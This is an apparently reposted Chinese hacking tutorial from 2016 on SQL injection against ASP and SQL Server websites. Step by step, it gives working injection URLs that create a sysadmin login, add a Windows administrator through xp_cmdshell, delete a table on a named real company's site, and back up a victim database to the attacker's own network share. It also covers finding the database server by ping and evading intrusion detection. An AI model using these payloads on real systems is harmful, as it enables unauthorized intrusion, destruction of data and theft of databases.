SQL数据库的一些攻击

忘歌柏

忘歌柏

2016-01-29 16:34

SQL数据库的一些攻击,SQL数据库的一些攻击
  SQL数据库的一些攻击

具体内容:


  对于国内外的很多新闻,BBS和电子商务网站都采用ASP+SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP+SQL的攻击成功率

也比较高。这类攻击方法与NT的版本和SQL的版本没有多大的关系,也没有相应的补丁,因为漏洞是程序员自己造成的,而且大多数讲解ASP编

程的书上,源代码例子就有这个漏洞存在,其实只是一些合法的ASP对SQL的请求,就留下后患无穷!
这种攻击方法最早源于or1=1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec

sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变

量在整个SQL语句的最后,因为有一些程序员采用SELECT * FROM news WHERE id=... AND topic=... AND .....
这种方法请求数据库,那么如果还用以上的例子就会
news.asp?id=2;exec sp_addlogin hax
变成SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=... AND ...
整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方


news.asp?id=2;exec sp_addlogin hax;--
后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!
那么我们连一起来用吧
news.asp?id=2;exec master.dbo.sp_addlogin hax;--
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--
news.asp?id=2;exec master.dbo.xp_cmdshell net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes

/active:yes /add;--
news.asp?id=2;exec master.dbo.xp_cmdshell net localgroup administrators hax /add;--
这样,你在他的数据库和系统内都留下了hax管理员账号了
当然,前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。
以后我们会讨论,如果对方的ASP不是用SQL管理员账号,我们如何入侵,当然也会涉及到1433端口的入侵
当然大家可以试试看在id=2后面加上一个符号,主要看对方的ASP怎么写了


再说说当ASP程序使用的SQL账号不是管理员的时候我们该如何做。
你如天融信的主页,有新闻内容,如下:
http://www.talentit.com.cn/news/news-2.asp?newid=117
大家可以试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;select 123;--
呵呵,报语法错误,select 123错误,显而易见,天融新的ASP在newid变量后面用号结束
那么试试看http://www.talentit.com.cn/news/news-2.asp?newid=117;delete news;--
哈哈,我想只要表名猜对了,新闻库就被删了

通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限
但是我们不知道库名该怎么?看看db_name()函数吧
打开你的query analyzer,看看print db_name() ,呵呵,当前的数据库名就出来了
以次类推,如下: declare @a sysname;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat ,name=test;--
呵呵,他的当前数据库就备份到你的硬盘上了,接下来要做的大家心里都明白了吧
同理这个方法可以找到对方的SQL的IP
先装一个防火墙,打开ICMP和139TCP和445TCP的警告提示
然后试试看news.asp?id=2;exec master.dbo.xp_cmdshell ping 你的IP
如果防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大

一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位

置了
那么,如果对方ASP没有SQL管理员权限,我们就不能调用xp_cmdshell了,该怎么办?
别着急,试试看这个news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat

,name=test;--
呵呵,你的防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露
那么如果对方连某个数据库的owner也不是的话,我们该怎么办?下次我会告诉大家一个更好的办法。
其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的
下次我们还会谈到如何骗过IDS执行ASP+SQL入侵
目前有些好的IDS已经开始监视xp_cmdshell这些关键字了
好吧,同志们下次见


所有以上url希望大家通过vbscript提交,因为浏览器的地址栏会屏蔽一些特殊字符,这样你的命令就不能完整传输了
window
展开更多 50%)
分享

猜你喜欢

SQL数据库的一些攻击

SQLServer
SQL数据库的一些攻击

SQL Server安全专题"SQL Server数据库的一些攻击

编程语言 网络编程
SQL Server安全专题"SQL Server数据库的一些攻击

s8lol主宰符文怎么配

英雄联盟 网络游戏
s8lol主宰符文怎么配

给SQL Server Model数据库增加一些变化

SQLServer
给SQL Server Model数据库增加一些变化

浅谈数据库的攻击

SQLServer
浅谈数据库的攻击

lol偷钱流符文搭配推荐

英雄联盟 网络游戏
lol偷钱流符文搭配推荐

SQL注入除攻击数据库外还威胁系统

编程语言 网络编程
SQL注入除攻击数据库外还威胁系统

SQL Server数据库导入MySQL数据库体验

MySQL mysql数据库
SQL Server数据库导入MySQL数据库体验

lolAD刺客新符文搭配推荐

英雄联盟
lolAD刺客新符文搭配推荐

《以撒的结合 重生》恶魔房交易心得

《以撒的结合 重生》恶魔房交易心得

《实况足球2016》大师联赛赚钱交易技巧解析

《实况足球2016》大师联赛赚钱交易技巧解析
下拉加载更多内容 ↓